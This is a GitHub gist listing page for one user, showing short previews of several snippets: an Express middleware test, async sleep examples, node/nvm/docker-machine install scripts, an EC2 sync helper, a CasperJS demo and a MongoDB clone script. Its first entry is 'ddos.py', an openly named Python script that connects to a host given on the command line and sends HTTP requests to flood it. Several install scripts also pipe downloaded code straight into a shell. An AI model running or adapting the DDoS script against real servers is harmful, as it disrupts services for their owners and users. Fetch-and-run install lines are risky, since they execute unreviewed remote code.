Skip to content

Instantly share code, notes, and snippets.

@wahengchang
wahengchang / ddos.py
Created Apr 27, 2016 — forked from tinnguyenz/ddos.py
Python ddos script
View ddos.py
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
@wahengchang
wahengchang / middleware-test.js
Created Nov 4, 2016 — forked from CodeVachon/middleware-test.js
express middleware mocha test
View middleware-test.js
var middleware = require('middleware'), // the Middleware you want to test
httpMocks = require('node-mocks-http'), // quickly sets up REQUEST and RESPONSE to be passed into Express Middleware
request = {}, // define REQUEST
response = {} // define RESPONSE
;
describe('Middleware test', function(){
context('Valid arguments are passed', function() {
beforeEach(function(done) {
/*
View gist:089408735315e5337d37d410d468ed4c
var sleep = function(para) {
return new Promise(function(resolve, reject) {
setTimeout(function() {
resolve(para * para)
}, 1000)
})
}
View async_function.js
var sleep = function(para) {
return new Promise(function(resolve, reject) {
setTimeout(function() {
resolve(para * para)
}, 1000)
})
}
async function asyncSleep (para){
return await sleep(para)
@wahengchang
wahengchang / node-and-npm-in-30-seconds.sh
Created Feb 28, 2017 — forked from isaacs/node-and-npm-in-30-seconds.sh
Use one of these techniques to install node and npm without having to sudo. Discussed in more detail at http://joyeur.com/2010/12/10/installing-node-and-npm/ Note: npm >=0.3 is *safer* when using sudo.
View node-and-npm-in-30-seconds.sh
echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
. ~/.bashrc
mkdir ~/local
mkdir ~/node-latest-install
cd ~/node-latest-install
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1
./configure --prefix=~/local
make install # ok, fine, this step probably takes more than 30 seconds...
curl https://www.npmjs.org/install.sh | sh
@wahengchang
wahengchang / syncEC2ByPem.sh
Last active Apr 30, 2017
A tool to sync file from local to AWS EC2 by pem key
View syncEC2ByPem.sh
# 2017/4/23
# To sync file from local to AWS EC2 by pem key
# Exclude '/node_modules'
# Check user name *******************/
if [ -z ${SYNC_USER} ]; then
echo "Input your EC2 name (default user: ec2-user):."
read _userName
if [ -z ${_userName} ]; then
View gist:56c44ac901907ab075384185dcf18591
var casper = require('casper').create();
casper.start('http://casperjs.org/');
casper.then(function() {
this.echo('First Page: ' + this.getTitle());
});
casper.thenOpen('http://phantomjs.org', function() {
this.echo('Second Page: ' + this.getTitle());
@wahengchang
wahengchang / CloneDBToDB.sh
Last active Aug 30, 2017
Shell script for backing up Mongo Databases on a given server. To dump and restore production MongoDB databases.
View CloneDBToDB.sh
#####################################
####### Config Your host here #####
#####################################
FROM_DB_HOST="abc.com:1024"
TO_DB_HOST="def.mlab.com:1111"
FROM_DB_NAME="peter"
TO_DB_NAME="peter-dev"
#####################################
View gist:16ae5816367788f4ea33fbc4c0403f84
sudo yum upgrade
sudo yum install git
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.4/install.sh | bash
source ~/.bash_profile
nvm install v6.9.5
View gist:d24f7c280ce9d3719bbe3ed03b1e44a9
curl -L https://github.com/docker/machine/releases/download/v0.12.2/docker-machine-`uname -s`-`uname -m` >/tmp/docker-machine &&
chmod +x /tmp/docker-machine
sudo cp /tmp/docker-machine /usr/local/bin/docker-machine